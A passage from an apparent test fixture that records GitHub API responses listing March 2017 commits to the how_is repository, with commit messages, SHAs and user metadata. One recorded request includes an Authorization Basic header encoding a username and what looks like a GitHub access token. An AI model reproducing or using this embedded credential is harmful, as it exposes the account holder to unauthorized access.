it/4f14ddacaeea8d447dab9282e62750f8b0b8608c"}]},{"sha":"4f14ddacaeea8d447dab9282e62750f8b0b8608c","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NGYxNGRkYWNhZWVhOGQ0NDdkYWI5MjgyZTYyNzUwZjhiMGI4NjA4Yw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T09:00:39Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T09:00:39Z"},"message":"update changelog","tree":{"sha":"30316568595063da0ee37c0601bc26c4eed05d8b","url":"https://api.github.com/repos/how-is/how_is/git/trees/30316568595063da0ee37c0601bc26c4eed05d8b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4f14ddacaeea8d447dab9282e62750f8b0b8608c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4f14ddacaeea8d447dab9282e62750f8b0b8608c","html_url":"https://github.com/how-is/how_is/commit/4f14ddacaeea8d447dab9282e62750f8b0b8608c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4f14ddacaeea8d447dab9282e62750f8b0b8608c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"73778629aa307b58a676ba06bad5b550aed1e693","url":"https://api.github.com/repos/how-is/how_is/commits/73778629aa307b58a676ba06bad5b550aed1e693","html_url":"https://github.com/how-is/how_is/commit/73778629aa307b58a676ba06bad5b550aed1e693"}]},{"sha":"73778629aa307b58a676ba06bad5b550aed1e693","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzM3Nzg2MjlhYTMwN2I1OGE2NzZiYTA2YmFkNWI1NTBhZWQxZTY5Mw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T08:57:25Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T08:57:25Z"},"message":"Remove unnecessary .send() call in exe/how_is.","tree":{"sha":"414e8b747de89bb28c252616a26bad19b1afea19","url":"https://api.github.com/repos/how-is/how_is/git/trees/414e8b747de89bb28c252616a26bad19b1afea19"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/73778629aa307b58a676ba06bad5b550aed1e693","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/73778629aa307b58a676ba06bad5b550aed1e693","html_url":"https://github.com/how-is/how_is/commit/73778629aa307b58a676ba06bad5b550aed1e693","comments_url":"https://api.github.com/repos/how-is/how_is/commits/73778629aa307b58a676ba06bad5b550aed1e693/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"9a273583dda3a1920cda5bf91d70cb57cba7bcf8","url":"https://api.github.com/repos/how-is/how_is/commits/9a273583dda3a1920cda5bf91d70cb57cba7bcf8","html_url":"https://github.com/how-is/how_is/commit/9a273583dda3a1920cda5bf91d70cb57cba7bcf8"}]}]' http_version: recorded_at: Fri, 26 Apr 2019 20:32:45 GMT - request: method: get uri: https://api.github.com/repositories/54295243/commits?author=me@duckie.co&page=4&per_page=30&until=2017-07-01 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Fri, 26 Apr 2019 20:32:45 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '3341' X-Ratelimit-Reset: - '1556311539' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"f3236a5e3039e4816114940061e1ab17" Last-Modified: - Sun, 05 Mar 2017 08:23:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Link: - ; rel="next", ; rel="last", ; rel="first", ; rel="prev" Access-Control-Expose-Headers: - ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type Access-Control-Allow-Origin: - "*" Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Frame-Options: - deny X-Content-Type-Options: - nosniff X-Xss-Protection: - 1; mode=block Referrer-Policy: - origin-when-cross-origin, strict-origin-when-cross-origin Content-Security-Policy: - default-src 'none' X-Github-Request-Id: - B66A:1547:117DA1:2D76F9:5CC36AED body: encoding: ASCII-8BIT string: '[{"sha":"9a273583dda3a1920cda5bf91d70cb57cba7bcf8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OWEyNzM1ODNkZGEzYTE5MjBjZGE1YmY5MWQ3MGNiNTdjYmE3YmNmOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T08:23:19Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-03-05T08:23:19Z"},"message":"Merge pull request #147 from how-is/v19-release\n\nv18.0.1 - fix --config flag","tree":{"sha":"09dc5b635a83d390c7a0182212b82cad64b23c28","url":"https://api.github.com/repos/how-is/how_is/git/trees/09dc5b635a83d390c7a0182212b82cad64b23c28"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/9a273583dda3a1920cda5bf91d70cb57cba7bcf8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/9a273583dda3a1920cda5bf91d70cb57cba7bcf8","html_url":"https://github.com/how-is/how_is/commit/9a273583dda3a1920cda5bf91d70cb57cba7bcf8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/9a273583dda3a1920cda5bf91d70cb57cba7bcf8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"d471d10c07b1b596641fa21742e71aef5c817210","url":"https://api.github.com/repos/how-is/how_is/commits/d471d10c07b1b596641fa21742e71aef5c817210","html_url":"https://github.com/how-is/how_is/commit/d471d10c07b1b596641fa21742e71aef5c817210"},{"sha":"48017a9ec06c534266917de83c1c762969bb7629","url":"https://api.github.com/repos/how-is/how_is/commits/48017a9ec06c534266917de83c1c762969bb7629","html_url":"https://github.com/how-is/how_is/commit/48017a9ec06c534266917de83c1c762969bb7629"}]},{"sha":"48017a9ec06c534266917de83c1c762969bb7629","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDgwMTdhOWVjMDZjNTM0MjY2OTE3ZGU4M2MxYzc2Mjk2OWJiNzYyOQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T08:16:21Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T08:16:21Z"},"message":"version bump","tree":{"sha":"09dc5b635a83d390c7a0182212b82cad64b23c28","url":"https://api.github.com/repos/how-is/how_is/git/trees/09dc5b635a83d390c7a0182212b82cad64b23c28"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/48017a9ec06c534266917de83c1c762969bb7629","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/48017a9ec06c534266917de83c1c762969bb7629","html_url":"https://github.com/how-is/how_is/commit/48017a9ec06c534266917de83c1c762969bb7629","comments_url":"https://api.github.com/repos/how-is/how_is/commits/48017a9ec06c534266917de83c1c762969bb7629/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ebffd98fdc59bd531a1bc248421329d8c80c9efb","url":"https://api.github.com/repos/how-is/how_is/commits/ebffd98fdc59bd531a1bc248421329d8c80c9efb","html_url":"https://github.com/how-is/how_is/commit/ebffd98fdc59bd531a1bc248421329d8c80c9efb"}]},{"sha":"ebffd98fdc59bd531a1bc248421329d8c80c9efb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWJmZmQ5OGZkYzU5YmQ1MzFhMWJjMjQ4NDIxMzI5ZDhjODBjOWVmYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T08:14:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T08:15:58Z"},"message":"Update changelog.","tree":{"sha":"82929ce704d3bfef2cf3c46f6521733e9730c03b","url":"https://api.github.com/repos/how-is/how_is/git/trees/82929ce704d3bfef2cf3c46f6521733e9730c03b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ebffd98fdc59bd531a1bc248421329d8c80c9efb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ebffd98fdc59bd531a1bc248421329d8c80c9efb","html_url":"https://github.com/how-is/how_is/commit/ebffd98fdc59bd531a1bc248421329d8c80c9efb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ebffd98fdc59bd531a1bc248421329d8c80c9efb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"fd9b8a946623a525f35cf16edeaa3e4e8ac96a80","url":"https://api.github.com/repos/how-is/how_is/commits/fd9b8a946623a525f35cf16edeaa3e4e8ac96a80","html_url":"https://github.com/how-is/how_is/commit/fd9b8a946623a525f35cf16edeaa3e4e8ac96a80"}]},{"sha":"fd9b8a946623a525f35cf16edeaa3e4e8ac96a80","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZmQ5YjhhOTQ2NjIzYTUyNWYzNWNmMTZlZGVhYTNlNGU4YWM5NmE4MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T06:38:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T06:38:52Z"},"message":"from_config_file doesn''t exist; use from_config.","tree":{"sha":"8bb384083169cf22611c73c160dcfc6007630d1d","url":"https://api.github.com/repos/how-is/how_is/git/trees/8bb384083169cf22611c73c160dcfc6007630d1d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/fd9b8a946623a525f35cf16edeaa3e4e8ac96a80","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/fd9b8a946623a525f35cf16edeaa3e4e8ac96a80","html_url":"https://github.com/how-is/how_is/commit/fd9b8a946623a525f35cf16edeaa3e4e8ac96a80","comments_url":"https://api.github.com/repos/how-is/how_is/commits/fd9b8a946623a525f35cf16edeaa3e4e8ac96a80/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"d471d10c07b1b596641fa21742e71aef5c817210","url":"https://api.github.com/repos/how-is/how_is/commits/d471d10c07b1b596641fa21742e71aef5c817210","html_url":"https://github.com/how-is/how_is/commit/d471d10c07b1b596641fa21742e71aef5c817210"}]},{"sha":"d471d10c07b1b596641fa21742e71aef5c817210","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDQ3MWQxMGMwN2IxYjU5NjY0MWZhMjE3NDJlNzFhZWY1YzgxNzIxMA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-05T05:51:04Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2017-03-05T05:51:04Z"},"message":"Merge pull request #146 from how-is/v18-release\n\nv18.0.0 release","tree":{"sha":"0f9d4db219d969120a1c928acfbbd676ac586b3e","url":"https://api.github.com/repos/how-is/how_is/git/trees/0f9d4db219d969120a1c928acfbbd676ac586b3e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d471d10c07b1b596641fa21742e71aef5c817210","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d471d10c07b1b596641fa21742e71aef5c817210","html_url":"https://github.com/how-is/how_is/commit/d471d10c07b1b596641fa21742e71aef5c817210","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d471d10c07b1b596641fa21742e71aef5c817210/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"22863c31fea5b027860a3ddaa4fd86c679b68a90","url":"https://api.github.com/repos/how-is/how_is/commits/22863c31fea5b027860a3ddaa4fd86c679b68a90","html_url":"https://github.com/how-is/how_is/commit/22863c31fea5b027860a3ddaa4fd86c679b68a90"},{"sha":"7459260f23fe971edd6772a41aa801766dd0881a","url":"https://api.github.com/repos/how-is/how_is/commits/7459260f23fe971edd6772a41aa801766dd0881a","html_url":"https://github.com/how-is/how_is/commit/7459260f23fe971edd6772a41aa801766dd0881a"}]},{"sha":"7459260f23fe971edd6772a41aa801766dd0881a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzQ1OTI2MGYyM2ZlOTcxZWRkNjc3MmE0MWFhODAxNzY2ZGQwODgxYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-04T22:15:03Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-04T22:15:03Z"},"message":"[CHANGELOG] Add link to PR list for v18.","tree":{"sha":"0f9d4db219d969120a1c928acfbbd676ac586b3e","url":"https://api.github.com/repos/how-is/how_is/git/trees/0f9d4db219d969120a1c928acfbbd676ac586b3e"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/7459260f23fe971edd6772a41aa801766dd0881a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/7459260f23fe971edd6772a41aa801766dd0881a","html_url":"https://github.com/how-is/how_is/commit/7459260f23fe971edd6772a41aa801766dd0881a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/7459260f23fe971edd6772a41aa801766dd0881a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"dac3cd548b31a78af99518a18f59de5e5c953686","url":"https://api.github.com/repos/how-is/how_is/commits/dac3cd548b31a78af99518a18f59de5e5c953686","html_url":"https://github.com/how-is/how_is/commit/dac3cd548b31a78af99518a18f59de5e5c953686"}]},{"sha":"dac3cd548b31a78af99518a18f59de5e5c953686","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZGFjM2NkNTQ4YjMxYTc4YWY5OTUxOGExOGY1OWRlNWU1Yzk1MzY4Ng==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-04T22:13:56Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-04T22:13:56Z"},"message":"version bump","tree":{"sha":"7617d064ef8c72c2dd6480d0bfa6359e200d7516","url":"https://api.github.com/repos/how-is/how_is/git/trees/7617d064ef8c72c2dd6480d0bfa6359e200d7516"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/dac3cd548b31a78af99518a18f59de5e5c953686","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/dac3cd548b31a78af99518a18f59de5e5c953686","html_url":"https://github.com/how-is/how_is/commit/dac3cd548b31a78af99518a18f59de5e5c953686","comments_url":"https://api.github.com/repos/how-is/how_is/commits/dac3cd548b31a78af99518a18f59de5e5c953686/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"1006337c85ada23f14180ff19099db18bf9a018f","url":"https://api.github.com/repos/how-is/how_is/commits/1006337c85ada23f14180ff19099db18bf9a018f","html_url":"https://github.com/how-is/how_is/commit/1006337c85ada23f14180ff19099db18bf9a018f"}]},{"sha":"1006337c85ada23f14180ff19099db18bf9a018f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTAwNjMzN2M4NWFkYTIzZjE0MTgwZmYxOTA5OWRiMThiZjlhMDE4Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-04T22:13:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-03-04T22:13:45Z"},"message":"Update 